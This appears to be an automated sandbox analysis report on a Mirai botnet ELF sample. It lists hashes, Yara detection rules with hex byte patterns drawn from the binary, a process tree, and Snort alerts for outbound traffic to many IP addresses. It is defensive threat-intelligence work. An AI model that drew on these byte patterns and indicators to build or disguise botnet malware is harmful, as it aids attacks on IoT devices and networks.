Edit tour

Linux Analysis Report
D9UijsgjDB.elf

Overview

General Information

Sample name:	D9UijsgjDB.elf renamed because original name is a hash value
Original sample name:	a960664371d41df2cf345e6c5e3e0fe6.elf
Analysis ID:	1367136
MD5:	a960664371d41df2cf345e6c5e3e0fe6
SHA1:	2e672791abdd8ba1295176b94cd03775c84d504e
SHA256:	d3f75e9b495d9bfd3cb05c9876df9ad60c6e7bb45d56cc05f9c1b0d04de7558c
Tags:	32elfintelmirai
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Machine Learning detection for sample

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1367136
Start date and time:	2023-12-26 21:22:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	D9UijsgjDB.elf renamed because original name is a hash value
Original Sample Name:	a960664371d41df2cf345e6c5e3e0fe6.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/D9UijsgjDB.elf
PID:	6232
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Cult
Standard Error:

Process Tree

system is lnxubuntu20

D9UijsgjDB.elf (PID: 6232, Parent: 6150, MD5: a960664371d41df2cf345e6c5e3e0fe6) Arguments: /tmp/D9UijsgjDB.elf

D9UijsgjDB.elf New Fork (PID: 6233, Parent: 6232)

D9UijsgjDB.elf New Fork (PID: 6234, Parent: 6232)

D9UijsgjDB.elf New Fork (PID: 6235, Parent: 6232)

D9UijsgjDB.elf New Fork (PID: 6236, Parent: 6235)

D9UijsgjDB.elf New Fork (PID: 6237, Parent: 6235)

D9UijsgjDB.elf New Fork (PID: 6238, Parent: 6235)

D9UijsgjDB.elf New Fork (PID: 6240, Parent: 6235)

D9UijsgjDB.elf New Fork (PID: 6241, Parent: 6235)

D9UijsgjDB.elf New Fork (PID: 6242, Parent: 6235)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
D9UijsgjDB.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
D9UijsgjDB.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xed40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeda4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedcc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xede0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeea8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeebc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
D9UijsgjDB.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xf298:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
D9UijsgjDB.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x62b0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
D9UijsgjDB.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb252:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
D9UijsgjDB.elf	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
D9UijsgjDB.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xdda7:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
D9UijsgjDB.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc870:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
D9UijsgjDB.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb222:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 4 entries

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6232.1.0000000008048000.0000000008059000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6232.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xed40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeda4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedcc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xede0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeea8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeebc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6232.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xf298:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6232.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x62b0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6232.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb252:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6232.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6232.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xdda7:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6232.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc870:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6232.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb222:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6234.1.0000000008048000.0000000008059000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6241.1.0000000008048000.0000000008059000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6234.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xed40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeda4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedcc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xede0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeea8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeebc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6234.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xf298:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6234.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x62b0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6234.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb252:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6234.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6234.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xdda7:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6234.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc870:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6234.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb222:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6241.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xed40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeda4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedcc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xede0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeea8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeebc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6241.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xf298:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6241.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x62b0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6241.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb252:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6241.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6241.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xdda7:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6241.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xc870:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6241.1.0000000008048000.0000000008059000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb222:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 22 entries

Snort Signatures

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.86.115.228

Timestamp:	192.168.2.2395.86.115.22844280802839471 12/26/23-21:23:00.897407
SID:	2839471
Source Port:	44280
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.99.167.168

Timestamp:	192.168.2.2388.99.167.16852598802839471 12/26/23-21:23:01.849361
SID:	2839471
Source Port:	52598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.198.222.89

Timestamp:	192.168.2.2388.198.222.8947328802839471 12/26/23-21:23:35.058090
SID:	2839471
Source Port:	47328
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.158.92.81

Timestamp:	192.168.2.23112.158.92.8144126802839471 12/26/23-21:23:30.924464
SID:	2839471
Source Port:	44126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.99.91.175

Timestamp:	192.168.2.2388.99.91.17556290802839471 12/26/23-21:22:57.340648
SID:	2839471
Source Port:	56290
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.168.104.151

Timestamp:	192.168.2.23112.168.104.15151416802839471 12/26/23-21:23:31.473296
SID:	2839471
Source Port:	51416
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.100.81.135

Timestamp:	192.168.2.2395.100.81.13541878802839471 12/26/23-21:23:23.509973
SID:	2839471
Source Port:	41878
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.99.71.251

Timestamp:	192.168.2.2388.99.71.25158386802839471 12/26/23-21:23:28.305379
SID:	2839471
Source Port:	58386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.86.82.97

Timestamp:	192.168.2.2395.86.82.9750828802839471 12/26/23-21:22:52.899978
SID:	2839471
Source Port:	50828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.179.132.190

Timestamp:	192.168.2.2395.179.132.19051312802839471 12/26/23-21:23:23.511291
SID:	2839471
Source Port:	51312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.100.170.68

Timestamp:	192.168.2.2395.100.170.6835930802839471 12/26/23-21:23:01.529476
SID:	2839471
Source Port:	35930
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.221.164.43

Timestamp:	192.168.2.2388.221.164.4348582802839471 12/26/23-21:23:28.545952
SID:	2839471
Source Port:	48582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.217.81.178

Timestamp:	192.168.2.2395.217.81.17857922802839471 12/26/23-21:23:00.874294
SID:	2839471
Source Port:	57922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.248.2.123

Timestamp:	192.168.2.2388.248.2.12346312802839471 12/26/23-21:23:27.107344
SID:	2839471
Source Port:	46312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.86.74.218

Timestamp:	192.168.2.2395.86.74.21841588802839471 12/26/23-21:23:05.216322
SID:	2839471
Source Port:	41588
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.146.114.37

Timestamp:	192.168.2.2388.146.114.3750428802839471 12/26/23-21:23:28.305582
SID:	2839471
Source Port:	50428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.221.166.151

Timestamp:	192.168.2.2388.221.166.15153744802839471 12/26/23-21:23:09.141059
SID:	2839471
Source Port:	53744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

